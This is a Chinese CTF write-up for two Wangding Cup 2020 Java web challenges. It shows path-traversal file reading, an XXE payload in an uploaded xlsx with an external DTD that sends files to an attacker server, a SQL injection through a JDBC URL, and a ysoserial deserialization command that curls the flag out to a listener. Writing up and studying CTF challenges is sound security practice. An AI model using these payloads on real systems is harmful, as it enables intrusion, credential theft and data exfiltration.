Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第1张图片

文章目录

  • [网鼎杯 2020 青龙组]filejava
  • [网鼎杯 2020 朱雀组]Think Java

[网鼎杯 2020 青龙组]filejava

存在一个 UploadServlet

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第2张图片

通过修改上传文件名,构造报错输出 web 目录

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第3张图片

正常上传文件

/DownloadServlet?filename=ac6b647b-b31a-4ee7-8b86-9bbdba110a71_1.jpg

尝试任意文件读取,对于 Java 项目来说可以尝试读取 /WEB-INF/web.xml 配置文件

正常来说 web.xml 的位置就在 WEB-INF 目录下(以一个 cms 结构举例)

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第4张图片

构造链接去读文件

http://dcff90af-ed58-47ef-b074-b14bf56ef9c1.node4.buuoj.cn:81/DownloadServlet?filename=../../../../../../../../../../../../../../../../..//usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

web.xml

    <servlet>
        <servlet-name>DownloadServletservlet-name>
        <servlet-class>cn.abc.servlet.DownloadServletservlet-class>
    servlet>

    <servlet-mapping>
        <servlet-name>DownloadServletservlet-name>
        <url-pattern>/DownloadServleturl-pattern>
    servlet-mapping>

    <servlet>
        <servlet-name>ListFileServletservlet-name>
        <servlet-class>cn.abc.servlet.ListFileServletservlet-class>
    servlet>

    <servlet-mapping>
        <servlet-name>ListFileServletservlet-name>
        <url-pattern>/ListFileServleturl-pattern>
    servlet-mapping>

    <servlet>
        <servlet-name>UploadServletservlet-name>
        <servlet-class>cn.abc.servlet.UploadServletservlet-class>
    servlet>

    <servlet-mapping>
        <servlet-name>UploadServletservlet-name>
        <url-pattern>/UploadServleturl-pattern>
    servlet-mapping>
web-app>

从 xml 文件中可以看出一共配置了三个 servlet,根据 servlet-class 去看 class 文件

/WEB-INF/classes/包含了站点所有用的 class 文件,之后的路径就是 servlet-class 中对应的,比如 DownloadServlet

WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

因为这是 class 二进制字节码文件,用文本编辑器打开的话时是乱码,可以用 idea 打开会自动反编译,关键代码如下

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第5张图片

代码主要是对 flag 字符串做了屏蔽

再看 UploadServlet.class

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第6张图片

主要是这个对文件名的判断,并且解析了 xlsx 文件,搜一下看看 xlsx xxe 漏洞

新建一个 excel-1.xlsx,改为 zip,将 [Content_Types].xml 第二行加入


%remote;%int;%send;
]>

注意:修改zip文件的时候,最好用WinRAR打开修改,完事直接保存,若是先解压,修改完了再压缩,有可能出问题

在 vps 放入 evil.dtd,我这里用的 python 启动的 web 服务

python3 -m http.server 端口

% send SYSTEM 'http://vps:port/?q=%file;'>">
%int;
%send;

然后再用 nc 监听 evil.dtd 中的端口

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第7张图片

拿到 flag

分析流程如下:

  1. 上传 excel 文件,后台进行解析,解析时加载 vps 上的 dtd 文件,所以说要启动 web 服务,保证靶机可以访问到 dtd 文件
  2. 靶机加载执行 dtd 文件,读取本地 flag,发送给 vps nc 监听的端口,nc 端接收 flag

[网鼎杯 2020 朱雀组]Think Java

给了附件,一些 class 文件,放到 idea 中

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第8张图片

扫目录也可以发现 swagger-ui,可以获取所有 api

/swagger-ui.html

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第9张图片

具体分析 sqlDict

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第10张图片

dbName 值可控

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第11张图片

在上面代码中调用了 SqlDict.getTableData

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第12张图片

可以发现 dbName 没有过滤直接参与了 SQL 语句进行数据查询,所以这里存在 SQL 注入

同时需要满足 jdbc 协议的连接不能出错

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第13张图片

JDBC 的 URL 也类似 http 请求中的 URL,也可以使用锚点 # 或者 ?
如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#

构造 payload

#' union select group_concat(name,0x3a,pwd)from user#

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第14张图片

这样的话就拿到了用户账号和密码,使用账号密码登录

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第15张图片

登录成功返回序列化字符串

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第16张图片

rO0AB 开头的字符串,很明显 Base64 加密后的 Java 序列化数据字符串

还有最后一个接口 /common/user/current,把字符串放到这里

image-20220504202951352

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第17张图片

这里就应该就是将序列化后的数据直接反序列化

最后使用 yso 生成 payload

java -jar yso*-all.jar ROME "curl http://ip:port -d @/flag" |base64

最终 payload

Bearer rO0ABXNyABFqYXZhL.......

去 current 打,在 vps 监听对应端口

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第18张图片

参考:

大赛上的Java题复现
Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava、[网鼎杯 2020 朱雀组]Think Java)_第19张图片

你可能感兴趣的:(#,JAVA,#,代码审计,#,CTF,web安全,安全,java,开发语言)